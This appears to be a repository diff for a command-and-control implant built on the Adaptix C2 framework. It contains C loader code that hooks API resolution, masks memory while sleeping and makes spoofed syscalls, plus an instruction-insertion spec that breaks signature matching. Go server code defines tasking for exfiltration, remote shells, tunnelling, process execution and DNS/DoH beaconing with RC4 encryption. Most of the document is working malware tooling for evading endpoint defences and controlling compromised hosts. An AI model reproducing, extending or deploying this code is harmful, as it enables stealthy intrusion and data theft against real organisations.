* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
// used by both the Pico Loader and DLL loader
typedef struct {
__typeof__(LoadLibraryA) * LoadLibraryA;
__typeof__(GetProcAddress) * GetProcAddress;
} IMPORTFUNCS;
// linker intrinsic to map a function hash to a hook registered via Crystal Palace
FARPROC __resolve_hook(DWORD funcHash);
/*
* Structs used by our DLL loader
*/
#define PTR_OFFSET(x, y) ( (void *)(x) + (ULONG)(y) )
#define DEREF( name )*(UINT_PTR *)(name)
typedef struct {
IMAGE_DOS_HEADER * DosHeader;
IMAGE_NT_HEADERS * NtHeaders;
IMAGE_OPTIONAL_HEADER * OptionalHeader;
} DLLDATA;
/*
* utility functions
*/
DWORD adler32sum(unsigned char * buffer, DWORD length);
DWORD ror13hash(const char * c);
/*
* printf-style debugging.
*/
void dprintf(char * format, ...);
/*
* PICO running functions
*/
typedef void (*PICOMAIN_FUNC)(char * arg);
PICOMAIN_FUNC PicoGetExport(char * src, char * base, int tag);
PICOMAIN_FUNC PicoEntryPoint(char * src, char * base);
int PicoCodeSize(char * src);
int PicoDataSize(char * src);
void PicoLoad(IMPORTFUNCS * funcs, char * src, char * dstCode, char * dstData);
/*
* Resolve functions by walking the export address table
*/
FARPROC findFunctionByHash(HANDLE hModule, DWORD wantedFunctionHash);
HANDLE findModuleByHash(DWORD moduleHash);
/*
* DLL parsing and loading functions
*/
typedef BOOL WINAPI (*DLLMAIN_FUNC)(HINSTANCE, DWORD, LPVOID);
DLLMAIN_FUNC EntryPoint(DLLDATA * dll, void * base);
IMAGE_DATA_DIRECTORY * GetDataDirectory(DLLDATA * dll, UINT entry);
void LoadDLL(DLLDATA * dll, char * src, char * dst);
void LoadSections(DLLDATA * dll, char * src, char * dst);
void ParseDLL(char * src, DLLDATA * data);
void ProcessImports(IMPORTFUNCS * funcs, DLLDATA * dll, char * dst);
void ProcessRelocations(DLLDATA * dll, char * src, char * dst);
DWORD SizeOfDLL(DLLDATA * data);
/*
* A macro to figure out our caller
* https://github.com/rapid7/ReflectiveDLLInjection/blob/81cde88bebaa9fe782391712518903b5923470fb/dll/src/ReflectiveLoader.c#L34C1-L46C1
*/
#ifdef __MINGW32__
#define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0))
#else
#pragma intrinsic(_ReturnAddress)
#define WIN_GET_CALLER() _ReturnAddress()
#endif
+223
View File
@@ -0,0 +1,223 @@
#include "pico.h"
FARPROC WINAPI _GetProcAddress(HMODULE hModule, LPCSTR lpProcName)
{
if (hModule == NULL || lpProcName == NULL)
{
return NULL;
}
// lpProcName may be an ordinal
if ((ULONG_PTR)lpProcName >> 16 == 0)
{
// just resolve normally
return GetProcAddress(hModule, lpProcName);
}
FARPROC result = __resolve_hook(ror13hash(lpProcName));
// result may still be NULL if it wasn't hooked in the spec
if (result != NULL)
{
return result;
}
WARN_MSG("The '%s' function is not hooked", lpProcName);
return GetProcAddress(hModule, lpProcName);
}
// Rewrite GetProcAddress to our _GetProcAddress function
void SetupHooks(IMPORTFUNCS *funcs)
{
if (funcs == NULL)
{
return;
}
funcs->GetProcAddress = (__typeof__(GetProcAddress) *)_GetProcAddress;
}
void SetupMemory(MEMORY_LAYOUT *memory)
{
if (memory != NULL)
{
gMemory = *memory;
}
}
VOID WINAPI _Sleep(DWORD dwMilliseconds)
{
INFO_MSG("\t\tCalling _Sleep");
/*
* for performance reasons, only mask
* memory if sleep time is equal to
* or greater than 1 second
*/
BOOL shouldMask = (dwMilliseconds >= 1000 && gMemory.Dll.BaseAddress != NULL);
if (shouldMask)
{
MaskMemory(&gMemory, TRUE);
}
LARGE_INTEGER delay;
delay.QuadPart = - (LONGLONG)(dwMilliseconds * 10000LL);
SYSCALL_ARG args[2] = {
(SYSCALL_ARG)FALSE,
(SYSCALL_ARG)&delay};
NTSTATUS status = SpoofedSyscall(NTDELAYEXECUTION_HASH, args);
if (!NT_SUCCESS(status))
{
WARN_MSG("\t\tSleep syscall failed");
}
if (shouldMask)
{
MaskMemory(&gMemory, FALSE);
}
}
DWORD WINAPI _WaitForSingleObject(HANDLE hHandle, DWORD dwMilliseconds)
{
INFO_MSG("\t\tCalling _WaitForSingleObject");
LARGE_INTEGER delay = {0};
PLARGE_INTEGER pDelay = NULL;
if (dwMilliseconds != INFINITE)
{
delay.QuadPart = -((LONGLONG)dwMilliseconds * 10000LL);
pDelay = &delay;
}
SYSCALL_ARG args[3] = {
(SYSCALL_ARG)hHandle,
(SYSCALL_ARG)FALSE,
(SYSCALL_ARG)pDelay};
// Generic synchronization waits must not mask memory. Masking is reserved
// for the intentional sleep path handled by _Sleep.
NTSTATUS status = SpoofedSyscall(NTWAITFORSINGLEOBJECT_HASH, args);
if (status == STATUS_SUCCESS)
{
return WAIT_OBJECT_0;
}
if (status == STATUS_TIMEOUT)
{
return WAIT_TIMEOUT;
}
if (status == STATUS_ABANDONED)
{
return WAIT_ABANDONED;
}
return WAIT_FAILED;
}
void *GetExportAddress(char *base, const char *targetName)
{
if (base == NULL || targetName == NULL || targetName[0] == '\0')
{
return NULL;
}
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
if (dos->e_magic != IMAGE_DOS_SIGNATURE || dos->e_lfanew <= 0)
{
return NULL;
}
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew);
if (nt->Signature != IMAGE_NT_SIGNATURE)
{
return NULL;
}
IMAGE_DATA_DIRECTORY directory = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
if (directory.VirtualAddress == 0 || directory.Size == 0)
{
return NULL;
}
PIMAGE_EXPORT_DIRECTORY exports = (PIMAGE_EXPORT_DIRECTORY)(base + nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
if (exports->AddressOfNames == 0 || exports->AddressOfFunctions == 0 || exports->AddressOfNameOrdinals == 0)
{
return NULL;
}
DWORD *names = (DWORD *)(base + exports->AddressOfNames);
DWORD *functions = (DWORD *)(base + exports->AddressOfFunctions);
WORD *ordinals = (WORD *)(base + exports->AddressOfNameOrdinals);
for (DWORD i = 0; i < exports->NumberOfNames; i++)
{
char *currentName = (char *)(base + names[i]);
// Manual String Compare
const char *s1 = currentName;
const char *s2 = targetName;
int match = 1;
while (*s1 && *s2)
{
if (*s1 != *s2)
{
match = 0;
break;
}
s1++;
s2++;
}
if (match && *s1 == *s2)
{
WORD ordinal = ordinals[i];
if (ordinal >= exports->NumberOfFunctions)
{
return NULL;
}
// Ensure both ended at null terminator
return (void *)(base + functions[ordinal]);
}
}
return NULL;
}
// Free loader and call DLL
void FreeLoader(char *loader, DLLMAIN_FUNC dllEntry, char *dllBase)
{
INFO_MSG("=== STARTED PICO ===");
INFO_MSG("Cleaning Loader memory");
if (loader != NULL && !KERNEL32$VirtualFree(loader, 0, MEM_RELEASE))
{
WARN_MSG("Failed to free loader memory");
}
INFO_MSG("Calling DLL Entry Point");
if (dllEntry == NULL || dllBase == NULL)
{
ERROR_MSG("Invalid DLL entry point or base");
KERNEL32$ExitThread(0);
}
dllEntry((HINSTANCE)dllBase, DLL_PROCESS_ATTACH, NULL);
_DLLTargetFunction pTargetFunction = (_DLLTargetFunction)GetExportAddress(dllBase, TARGET_FUNCTION);
if (pTargetFunction != NULL)
{
SUCCESS_MSG("%s Executed", TARGET_FUNCTION);
pTargetFunction();
}
else
ERROR_MSG("%s Not Found", TARGET_FUNCTION);
KERNEL32$ExitThread(0);
}
+21
View File
@@ -0,0 +1,21 @@
#include <windows.h>
#include "include/memory.h"
#include "evasion/hooks.h"
#include "evasion/mask.h"
#include "include/ntstatus.h"
#include "utils/debug.h"
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc(LPVOID, SIZE_T, DWORD, DWORD);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect(LPVOID, SIZE_T, DWORD, PDWORD);
WINBASEAPI DECLSPEC_NORETURN VOID WINAPI KERNEL32$ExitThread(DWORD dwExitCode);
WINBASEAPI WINBOOL WINAPI KERNEL32$VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
typedef BOOL WINAPI (*DLLMAIN_FUNC)(HINSTANCE, DWORD, LPVOID);
typedef void(WINAPI *_DLLTargetFunction)();
char TARGET_FUNCTION[128] = {};
DWORD WINAPI _WaitForSingleObject(HANDLE hHandle, DWORD dwMilliseconds);
// Global allocated memory
MEMORY_LAYOUT gMemory;
+15
View File
@@ -0,0 +1,15 @@
#pragma once
#include <windows.h>
#include "include/tcg.h"
#ifdef DEBUG
#define SUCCESS_MSG(message, ...) dprintf("[+] " message, ##__VA_ARGS__)
#define INFO_MSG(message, ...) dprintf("[*] " message, ##__VA_ARGS__)
#define WARN_MSG(message, ...) dprintf("[!] " message, ##__VA_ARGS__)
#define ERROR_MSG(message, ...) dprintf("[-] " message, ##__VA_ARGS__)
#else
#define SUCCESS_MSG(message, ...) ((void)0)
#define INFO_MSG(message, ...) ((void)0)
#define WARN_MSG(message, ...) ((void)0)
#define ERROR_MSG(message, ...) ((void)0)
#endif
+14
View File
@@ -0,0 +1,14 @@
#include "utils.h"
void XORData(char *data, DWORD len, char *key, DWORD keyLen)
{
if (data == NULL || key == NULL || keyLen == 0)
{
return;
}
for (DWORD i = 0; i < len; i++)
{
data[i] ^= key[i % keyLen];
}
}
+6
View File
@@ -0,0 +1,6 @@
#pragma once
#include <windows.h>
#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1)
void XORData(char *data, DWORD len, char *key, DWORD keyLen);
+30
View File
@@ -0,0 +1,30 @@
x64:
load $DUMMY "bin/asm/dummy.x64.bin"
# ParseDLL from Crystal Palace
ised insert "add rcx, rax" $DUMMY
# LoadPico from Crystal Palace
ised insert "call PicoDataSize" $DUMMY
# call SizeOfDLL from loader.c
ised insert "call SizeOfDLL" $DUMMY
# init_frame_info from spoof.c
ised insert "mov dword ptr [rbx+0x10], 0x17" $DUMMY
# GetSyscall from syscall.c
ised insert "shl ebx, 8" $DUMMY
# SpoofedSyscall from hooks.c
ised insert "mov r12d, ecx" $DUMMY
# go from loader.c
ised insert "sub rsp, 0x20" $DUMMY
# get_text_section_size from spoof.c
pack $XOREAX "h" "31C0" # xor eax, eax
ised replace "mov eax, 0" $XOREAX
# Disassemble object on stack and write output to assembly.txt
disassemble "bin/assembly.txt"
+2603
View File
File diff suppressed because it is too large Load Diff
+219
View File
@@ -0,0 +1,219 @@
package main
import (
"bytes"
"encoding/binary"
"errors"
"strings"
)
type Packer struct {
buffer []byte
}
func CreatePacker(buffer []byte) *Packer {
return &Packer{
buffer: buffer,
}
}
func (p *Packer) Size() uint {
return uint(len(p.buffer))
}
func (p *Packer) CheckPacker(types []string) bool {
packerSize := p.Size()
for _, t := range types {
switch t {
case "byte":
if packerSize < 1 {
return false
}
packerSize -= 1
case "word":
if packerSize < 2 {
return false
}
packerSize -= 2
case "int":
if packerSize < 4 {
return false
}
packerSize -= 4
case "long":
if packerSize < 8 {
return false
}
packerSize -= 8
case "array":
if packerSize < 4 {
return false
}
index := p.Size() - packerSize
value := make([]byte, 4)
copy(value, p.buffer[index:index+4])
length := uint(binary.BigEndian.Uint32(value))
packerSize -= 4
if packerSize < length {
return false
}
packerSize -= length
}
}
return true
}
func (p *Packer) ParseInt8() uint8 {
var value = make([]byte, 1)
if p.Size() >= 1 {
if p.Size() == 1 {
copy(value, p.buffer[:p.Size()])
p.buffer = []byte{}
} else {
copy(value, p.buffer[:1])
p.buffer = p.buffer[1:]
}
} else {
return 0
}
return value[0]
}
func (p *Packer) ParseInt16() uint16 {
var value = make([]byte, 2)
if p.Size() >= 2 {
if p.Size() == 2 {
copy(value, p.buffer[:p.Size()])
p.buffer = []byte{}
} else {
copy(value, p.buffer[:2])
p.buffer = p.buffer[2:]
}
} else {
return 0
}
return binary.BigEndian.Uint16(value)
}
func (p *Packer) ParseInt32() uint {
var value = make([]byte, 4)
if p.Size() >= 4 {
if p.Size() == 4 {
copy(value, p.buffer[:p.Size()])
p.buffer = []byte{}
} else {
copy(value, p.buffer[:4])
p.buffer = p.buffer[4:]
}
} else {
return 0
}
return uint(binary.BigEndian.Uint32(value))
}
func (p *Packer) ParseInt64() uint64 {
var value = make([]byte, 8)
if p.Size() >= 8 {
if p.Size() == 8 {
copy(value, p.buffer[:p.Size()])
p.buffer = []byte{}
} else {
copy(value, p.buffer[:8])
p.buffer = p.buffer[8:]
}
} else {
return 0
}
return binary.BigEndian.Uint64(value)
}
func (p *Packer) ParseBytes() []byte {
size := p.ParseInt32()
if p.Size() < size {
return make([]byte, 0)
}
b := p.buffer[:size]
p.buffer = p.buffer[size:]
return b
}
func (p *Packer) ParseString() string {
size := p.ParseInt32()
if p.Size() < size {
return ""
}
b := p.buffer[:size]
p.buffer = p.buffer[size:]
return string(bytes.Trim(b, "\x00"))
}
func PackArray(array []interface{}) ([]byte, error) {
var packData []byte
for i := range array {
switch array[i].(type) {
case []byte:
val := array[i].([]byte)
packData = append(packData, val...)
break
case string:
size := make([]byte, 4)
val := array[i].(string)
if len(val) != 0 {
if !strings.HasSuffix(val, "\x00") {
val += "\x00"
}
}
binary.LittleEndian.PutUint32(size, uint32(len(val)))
packData = append(packData, size...)
packData = append(packData, []byte(val)...)
break
case int:
num := make([]byte, 4)
val := array[i].(int)
binary.LittleEndian.PutUint32(num, uint32(val))
packData = append(packData, num...)
break
case bool:
b := array[i].(bool)
var bt = make([]byte, 1)
bt[0] = 0
if b {
bt[0] = 1
}
packData = append(packData, bt...)
break
default:
return nil, errors.New("PackArray unknown type")
}
}
return packData, nil
}
+223
View File
@@ -0,0 +1,223 @@
package main
import (
"bytes"
"debug/pe"
"encoding/binary"
"fmt"
"os"
"path/filepath"
"strings"
"unsafe"
)
func CreateDefinitionFile(content []byte, tempDir string) (string, error) {
reader := bytes.NewReader(content)
file, err := pe.NewFile(reader)
if err != nil {
return "", fmt.Errorf("Failed to open DLL: %v", err)
}
defer func(file *pe.File) {
_ = file.Close()
}(file)
exports, dllName, err := getExports(file)
if err != nil {
return "", fmt.Errorf("Failed to read exports: %v", err)
}
if len(exports) == 0 {
return "", fmt.Errorf("No exports found in DLL")
}
baseName := strings.TrimSuffix(dllName, filepath.Ext(dllName))
defFileName := tempDir + "/" + baseName + ".def"
defFile, err := os.Create(defFileName)
if err != nil {
return "", fmt.Errorf("Failed to create def file: %v", err)
}
defer func(defFile *os.File) {
_ = defFile.Close()
}(defFile)
_, _ = fmt.Fprintf(defFile, "EXPORTS\n")
for i, exportName := range exports {
_, _ = fmt.Fprintf(defFile, "%s=%s.%s @%v\n", exportName, baseName, exportName, i+1)
}
return defFileName, nil
}
type ExportDirectory struct {
ExportFlags uint32
TimeDateStamp uint32
MajorVersion uint16
MinorVersion uint16
NameRVA uint32
OrdinalBase uint32
NumberOfFunctions uint32
NumberOfNames uint32
AddressTableRVA uint32
NamePointerRVA uint32
OrdinalTableRVA uint32
}
func getDLLName(file *pe.File, exportDir *ExportDirectory) (string, error) {
nameSection := findSectionByRVA(file, exportDir.NameRVA)
if nameSection == nil {
return "", fmt.Errorf("dll name section not found")
}
data, err := nameSection.Data()
if err != nil {
return "", fmt.Errorf("failed to read dll name section: %v", err)
}
offset := exportDir.NameRVA - nameSection.VirtualAddress
if offset >= uint32(len(data)) {
return "", fmt.Errorf("dll name offset out of bounds")
}
nameBytes := data[offset:]
for i, b := range nameBytes {
if b == 0 {
return string(nameBytes[:i]), nil
}
}
return "", fmt.Errorf("dll name not null-terminated")
}
func getExports(file *pe.File) ([]string, string, error) {
var exports []string
// Get the export directory from the data directories
if file.OptionalHeader == nil {
return nil, "", fmt.Errorf("no optional header found")
}
var exportDirRVA, exportDirSize uint32
switch oh := file.OptionalHeader.(type) {
case *pe.OptionalHeader32:
if len(oh.DataDirectory) > 0 {
exportDirRVA = oh.DataDirectory[0].VirtualAddress
exportDirSize = oh.DataDirectory[0].Size
}
case *pe.OptionalHeader64:
if len(oh.DataDirectory) > 0 {
exportDirRVA = oh.DataDirectory[0].VirtualAddress
exportDirSize = oh.DataDirectory[0].Size
}
default:
return nil, "", fmt.Errorf("unsupported optional header type")
}
if exportDirRVA == 0 || exportDirSize == 0 {
return nil, "", fmt.Errorf("no export directory found")
}
// Find the section containing the export directory
var section *pe.Section
for _, s := range file.Sections {
if exportDirRVA >= s.VirtualAddress && exportDirRVA < s.VirtualAddress+s.VirtualSize {
section = s
break
}
}
if section == nil {
return nil, "", fmt.Errorf("export directory not found in any section")
}
// Read section data
data, err := section.Data()
if err != nil {
return nil, "", fmt.Errorf("failed to read section data: %v", err)
}
// Calculate offset within section
offset := exportDirRVA - section.VirtualAddress
if offset >= uint32(len(data)) {
return nil, "", fmt.Errorf("export directory offset out of bounds")
}
// Parse export directory
if len(data[offset:]) < int(unsafe.Sizeof(ExportDirectory{})) {
return nil, "", fmt.Errorf("insufficient data for export directory")
}
exportDir := (*ExportDirectory)(unsafe.Pointer(&data[offset]))
dllName, err := getDLLName(file, exportDir)
if err != nil {
return nil, dllName, fmt.Errorf("DLL name not found")
}
if exportDir.NumberOfNames == 0 {
return nil, dllName, fmt.Errorf("no named exports found")
}
// Read name pointer table
nameTableRVA := exportDir.NamePointerRVA
nameTableSection := findSectionByRVA(file, nameTableRVA)
if nameTableSection == nil {
return nil, dllName, fmt.Errorf("name table section not found")
}
nameTableData, err := nameTableSection.Data()
if err != nil {
return nil, dllName, fmt.Errorf("failed to read name table section: %v", err)
}
nameTableOffset := nameTableRVA - nameTableSection.VirtualAddress
// Read each name RVA and then the actual name
for i := uint32(0); i < exportDir.NumberOfNames; i++ {
nameRVAOffset := nameTableOffset + i*4
if nameRVAOffset+4 > uint32(len(nameTableData)) {
break
}
nameRVA := binary.LittleEndian.Uint32(nameTableData[nameRVAOffset:])
// Find section containing the name
nameSection := findSectionByRVA(file, nameRVA)
if nameSection == nil {
continue
}
nameSectionData, err := nameSection.Data()
if err != nil {
continue
}
nameOffset := nameRVA - nameSection.VirtualAddress
if nameOffset >= uint32(len(nameSectionData)) {
continue
}
// Read null-terminated string
nameBytes := nameSectionData[nameOffset:]
var name string
for j, b := range nameBytes {
if b == 0 {
name = string(nameBytes[:j])
break
}
}
if name != "" {
exports = append(exports, name)
}
}
return exports, dllName, nil
}
func findSectionByRVA(file *pe.File, rva uint32) *pe.Section {
for _, section := range file.Sections {
if rva >= section.VirtualAddress && rva < section.VirtualAddress+section.VirtualSize {
return section
}
}
return nil
}
+389
View File
@@ -0,0 +1,389 @@
package main
import (
"bytes"
"compress/zlib"
"crypto/rc4"
"errors"
"fmt"
"io"
"math/rand/v2"
"net"
"regexp"
"strconv"
"strings"
adaptix "github.com/Adaptix-Framework/axc2"
)
const (
COMMAND_CAT = 24
COMMAND_COPY = 12
COMMAND_CD = 8
COMMAND_DISKS = 15
COMMAND_DOWNLOAD = 32
COMMAND_EXEC_BOF = 50
COMMAND_EXEC_BOF_OUT = 51
COMMAND_EXFIL = 35
COMMAND_GETUID = 22
COMMAND_JOBS_KILL = 47
COMMAND_JOB_LIST = 46
COMMAND_LINK = 38
COMMAND_LS = 14
COMMAND_MV = 18
COMMAND_MKDIR = 27
COMMAND_PIVOT_EXEC = 37
COMMAND_PS_LIST = 41
COMMAND_PS_KILL = 42
COMMAND_PS_RUN = 43
COMMAND_PROFILE = 21
COMMAND_PWD = 4
COMMAND_REV2SELF = 23
COMMAND_RM = 17
COMMAND_TERMINATE = 10
COMMAND_UNLINK = 39
COMMAND_UPLOAD = 33
COMMAND_TUNNEL_START_TCP = 62
COMMAND_TUNNEL_START_UDP = 63
COMMAND_TUNNEL_WRITE_TCP = 64
COMMAND_TUNNEL_WRITE_UDP = 65
COMMAND_TUNNEL_CLOSE = 66
COMMAND_TUNNEL_REVERSE = 67
COMMAND_TUNNEL_ACCEPT = 68
COMMAND_TUNNEL_PAUSE = 69
COMMAND_TUNNEL_RESUME = 70
COMMAND_SHELL_START = 71
COMMAND_SHELL_WRITE = 72
COMMAND_JOB = 0x8437
COMMAND_SAVEMEMORY = 0x2321
COMMAND_ERROR = 0x1111ffff
)
const (
DOWNLOAD_START = 0x1
DOWNLOAD_CONTINUE = 0x2
DOWNLOAD_FINISH = 0x3
)
const (
JOB_TYPE_LOCAL = 0x1
JOB_TYPE_REMOTE = 0x2
JOB_TYPE_PROCESS = 0x3
JOB_TYPE_SHELL = 0x4
)
const (
JOB_STATE_STARTING = 0x0
JOB_STATE_RUNNING = 0x1
JOB_STATE_FINISHED = 0x2
JOB_STATE_KILLED = 0x3
)
const (
CALLBACK_OUTPUT_OEM = 0x1e
CALLBACK_OUTPUT_UTF8 = 0x20
CALLBACK_ERROR = 0x0d
CALLBACK_AX_SCREENSHOT = 0x81
CALLBACK_AX_DOWNLOAD_MEM = 0x82
BOF_ERROR_PARSE = 0x101
BOF_ERROR_SYMBOL = 0x102
BOF_ERROR_MAX_FUNCS = 0x103
BOF_ERROR_ENTRY = 0x104
BOF_ERROR_ALLOC = 0x105
)
// DNS Constants
const (
dnsDefaultLabelSize = 48
dnsMaxLabelSize = 63
dnsFrameHeaderSize = 5 // flags:1 + origLen:4
dnsCompressFlag = 0x1
)
func CreateTaskCommandSaveMemory(ts Teamserver, agentId string, buffer []byte) int {
chunkSize := 0x100000 // 1Mb
memoryId := int(rand.Uint32())
bufferSize := len(buffer)
taskData := adaptix.TaskData{
Type: adaptix.TASK_TYPE_TASK,
AgentId: agentId,
Sync: false,
}
for start := 0; start < bufferSize; start += chunkSize {
fin := start + chunkSize
if fin > bufferSize {
fin = bufferSize
}
array := []interface{}{COMMAND_SAVEMEMORY, memoryId, bufferSize, fin - start, buffer[start:fin]}
taskData.Data, _ = PackArray(array)
taskData.TaskId = fmt.Sprintf("%08x", rand.Uint32())
ts.TsTaskCreate(agentId, "", "", taskData)
}
return memoryId
}
func GetOsVersion(majorVersion uint8, minorVersion uint8, buildNumber uint, isServer bool, systemArch string) (int, string) {
var (
desc string
os = adaptix.OS_UNKNOWN
)
osVersion := "unknown"
if majorVersion == 10 && minorVersion == 0 && isServer && buildNumber >= 26100 {
osVersion = "Win 2025 Serv"
} else if majorVersion == 10 && minorVersion == 0 && isServer && buildNumber >= 19045 {
osVersion = "Win 2022 Serv"
} else if majorVersion == 10 && minorVersion == 0 && isServer && buildNumber >= 17763 {
osVersion = "Win 2019 Serv"
} else if majorVersion == 10 && minorVersion == 0 && !isServer && buildNumber >= 22000 {
osVersion = "Win 11"
} else if majorVersion == 10 && minorVersion == 0 && isServer {
osVersion = "Win 2016 Serv"
} else if majorVersion == 10 && minorVersion == 0 {
osVersion = "Win 10"
} else if majorVersion == 6 && minorVersion == 3 && isServer {
osVersion = "Win Serv 2012 R2"
} else if majorVersion == 6 && minorVersion == 3 {
osVersion = "Win 8.1"
} else if majorVersion == 6 && minorVersion == 2 && isServer {
osVersion = "Win Serv 2012"
} else if majorVersion == 6 && minorVersion == 2 {
osVersion = "Win 8"
} else if majorVersion == 6 && minorVersion == 1 && isServer {
osVersion = "Win Serv 2008 R2"
} else if majorVersion == 6 && minorVersion == 1 {
osVersion = "Win 7"
}
desc = osVersion + " " + systemArch
if strings.Contains(osVersion, "Win") {
os = adaptix.OS_WINDOWS
}
return os, desc
}
func int32ToIPv4(ip uint) string {
b := []byte{
byte(ip),
byte(ip >> 8),
byte(ip >> 16),
byte(ip >> 24),
}
return net.IP(b).String()
}
func SizeBytesToFormat(bytes int64) string {
const (
KB = 1024.0
MB = KB * 1024
GB = MB * 1024
)
size := float64(bytes)
if size >= GB {
return fmt.Sprintf("%.2f Gb", size/GB)
} else if size >= MB {
return fmt.Sprintf("%.2f Mb", size/MB)
}
return fmt.Sprintf("%.2f Kb", size/KB)
}
func RC4Crypt(data []byte, key []byte) ([]byte, error) {
rc4crypt, errcrypt := rc4.NewCipher(key)
if errcrypt != nil {
return nil, errors.New("rc4 crypt error")
}
decryptData := make([]byte, len(data))
rc4crypt.XORKeyStream(decryptData, data)
return decryptData, nil
}
func parseDurationToSeconds(input string) (int, error) {
re := regexp.MustCompile(`(\d+)(h|m|s)`)
matches := re.FindAllStringSubmatch(input, -1)
totalSeconds := 0
for _, match := range matches {
value, err := strconv.Atoi(match[1])
if err != nil {
return 0, err
}
switch match[2] {
case "h":
totalSeconds += value * 3600
case "m":
totalSeconds += value * 60
case "s":
totalSeconds += value
}
}
return totalSeconds, nil
}
func parseStringToWorkingTime(WorkingTime string) (int, error) {
IntWorkingTime := 0
if WorkingTime != "" {
match, err := regexp.MatchString("^[012]?[0-9]:[0-6][0-9]-[012]?[0-9]:[0-6][0-9]$", WorkingTime)
if err != nil || match == false {
return IntWorkingTime, errors.New("Failed to parse working time: Invalid format")
}
startAndEnd := strings.Split(WorkingTime, "-")
startHourandMinutes := strings.Split(startAndEnd[0], ":")
endHourandMinutes := strings.Split(startAndEnd[1], ":")
startHour, _ := strconv.Atoi(startHourandMinutes[0])
startMin, _ := strconv.Atoi(startHourandMinutes[1])
endHour, _ := strconv.Atoi(endHourandMinutes[0])
endMin, _ := strconv.Atoi(endHourandMinutes[1])
if startHour < 0 || startHour > 24 || endHour < 0 || endHour > 24 || startMin < 0 || startMin > 60 || endMin < 0 || endMin > 60 {
return IntWorkingTime, errors.New("Failed to parse working time: Incorrectly defined time")
}
if endHour < startHour || (startHour == endHour && endMin <= startMin) {
return IntWorkingTime, errors.New("Failed to parse working time: The end hour cannot be earlier than the start hour")
}
IntWorkingTime |= startHour << 24
IntWorkingTime |= startMin << 16
IntWorkingTime |= endHour << 8
IntWorkingTime |= endMin << 0
}
return IntWorkingTime, nil
}
func formatBurstStatus(enabled int, sleepMs int, jitterPct int) string {
if enabled == 0 {
return "off"
}
return fmt.Sprintf("on (sleep=%dms, jitter=%d%%)", sleepMs, jitterPct)
}
func buildDNSProfileParams(generateConfig GenerateConfig, listenerMap map[string]any, userAgent string) ([]interface{}, error) {
domain, _ := listenerMap["domain"].(string)
resolvers := generateConfig.DnsResolvers
if resolvers == "" {
resolvers, _ = listenerMap["resolvers"].(string)
}
dohResolvers := generateConfig.DohResolvers
if dohResolvers == "" {
dohResolvers = "https://dns.google/dns-query,https://cloudflare-dns.com/dns-query,https://dns.quad9.net/dns-query"
}
// DNS mode: 0=UDP, 1=DoH, 2=UDP->DoH fallback, 3=DoH->UDP fallback
dnsMode := 0 // Default to UDP
switch generateConfig.DnsMode {
case "DNS (Direct UDP)":
dnsMode = 0
case "DoH (DNS over HTTPS)":
dnsMode = 1
case "DNS -> DoH fallback":
dnsMode = 2
case "DoH -> DNS fallback":
dnsMode = 3
}
qtype, _ := listenerMap["qtype"].(string)
pktSizeF, _ := listenerMap["pkt_size"].(float64)
ttlF, _ := listenerMap["ttl"].(float64)
labelSizeF, _ := listenerMap["label_size"].(float64)
pktSize := int(pktSizeF)
ttl := int(ttlF)
labelSize := int(labelSizeF)
if labelSize <= 0 || labelSize > dnsMaxLabelSize {
labelSize = dnsDefaultLabelSize
}
burstEnabledF, _ := listenerMap["burst_enabled"].(bool)
burstSleepF, _ := listenerMap["burst_sleep"].(float64)
burstJitterF, _ := listenerMap["burst_jitter"].(float64)
burstEnabled := 0
if burstEnabledF {
burstEnabled = 1
}
burstSleep := int(burstSleepF)
if burstSleep <= 0 {
burstSleep = 50
}
burstJitter := int(burstJitterF)
if burstJitter < 0 || burstJitter > 90 {
burstJitter = 0
}
params := []interface{}{
domain,
resolvers,
dohResolvers,
qtype,
pktSize,
labelSize,
ttl,
burstEnabled,
burstSleep,
burstJitter,
dnsMode, // DNS mode (0=UDP, 1=DoH, 2=UDP->DoH, 3=DoH->UDP)
userAgent,
}
return params, nil
}
func appendDNSObjectFiles(files string, objectDir string, ext string) string {
files += objectDir + "/DnsCodec" + ext + " "
files += objectDir + "/miniz" + ext + " "
return files
}
func decompressZlibData(data []byte) ([]byte, bool) {
if len(data) < dnsFrameHeaderSize {
return data, false
}
flags := data[0]
origLen := int(data[1]) | int(data[2])<<8 | int(data[3])<<16 | int(data[4])<<24
if origLen <= 0 {
return data, false
}
payload := data[dnsFrameHeaderSize:]
if (flags & dnsCompressFlag) != 0 {
r, err := zlib.NewReader(bytes.NewReader(payload))
if err != nil {
return data, false
}
var buf bytes.Buffer
_, err = io.Copy(&buf, r)
_ = r.Close()
if err == nil && buf.Len() == origLen {
return buf.Bytes(), true
}
return data, false
}
if len(payload) == origLen {
return payload, true
}
return data, false
}
+223
View File
@@ -0,0 +1,223 @@
.DEFAULT_GOAL := all
# Toolchain
CXX_X64 := x86_64-w64-mingw32-g++
CXX_X86 := i686-w64-mingw32-g++
# Paths
BEACON_DIR := beacon
FILES_DIR := files
# Output directories can be overridden by the parent Makefile.
HTTP_DIST_DIR ?= objects_http
SMB_DIST_DIR ?= objects_smb
TCP_DIST_DIR ?= objects_tcp
DNS_DIST_DIR ?= objects_dns
DIST_DIRS := \
$(HTTP_DIST_DIR) \
$(SMB_DIST_DIR) \
$(TCP_DIST_DIR) \
$(DNS_DIST_DIR)
# Source discovery
